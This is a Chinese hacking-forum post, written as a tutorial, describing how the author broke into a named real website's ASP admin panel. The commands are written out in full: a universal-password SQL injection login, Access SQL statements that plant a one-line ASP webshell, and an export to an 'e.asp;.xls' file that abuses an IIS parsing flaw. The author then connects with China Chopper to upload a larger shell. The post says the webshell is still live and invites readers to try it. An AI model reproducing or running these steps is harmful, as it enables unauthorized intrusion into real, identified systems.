|  |
| --- |
| 来哈客有很长时间了，感觉气氛很好啊，也想着该发点东西了，属于菜鸟级别的东西，大牛勿喷啊  小波的教程“没有办法的办法拿shell”中，拿webshell用的是猜ftp帐号密码的方法，其实在后台的执行sql的地方是可以通过access导出一句话拿webshell的  <http://www.yhzb.com/admin/login.asp>  [1.jpg](http://www.yhzb.com/admin/login.asp)  万能密码’or’=’or’登录  2.jpg    点“服务器信息探测”  3.jpg    获得网站路径：d:\freehost\yinhezb\web\admin\aspcheck.asp  进入“系统管理”-》“自定义执行SQL”  4.jpg    试了试，能够执行，所以这里可以用access导一句话  1.create table a (avarchar(50))  建立一个有一个a字段的表,表名为a,字段类型为字符,长度为50  5.jpg    2.insert into a (a)values('<%execute request(chr(35))%>')  在表a的a字段插入密码为#的一句话木马  3.select \* into [a] in' d:\freehost\yinhezb\web\admin\e.asp;.xls' 'excel 4.0;' from a  把表a的内容导出为物理路径的一个EXCEL文件，为什么用excel文件,因为ACCESS数据库不允许导出其他危险格式。我们导出为EXCEL后在利用IIS解析漏洞就可以变成我们的小马了。  4. drop table a  在IE地址栏打开：<http://www.yhzb.com/admin/e.asp;.xls>  [6.jpg](http://www.yhzb.com/admin/e.asp;.xls)  呵呵，很熟悉吧，说明一句话写入成功了  我们用菜刀链接，上传大马，如图：  8.jpg    就到这吧，很简单，原理大致和php网站的outfile差不多，以前也有人介绍过 其实这篇文章早在3月份就写好了，不过一直没发，今天看了看webshell还在，呵呵，懒得涂地址了，没用过的朋友实战下吧，不要乱搞就好 强烈建议下管理，如果文章不算原创，也别扣我分了啊，就剩一分了，呜呜！ |

[7.jpg](http://wwww.hake.cc/forum.php?mod=attachment&aid=MTkzMHw0N2RkYTc1MXwxMzE5NTY2NDM3fDgxNTI%3D&nothumb=yes) (26.92 KB, 下载次数: 0)

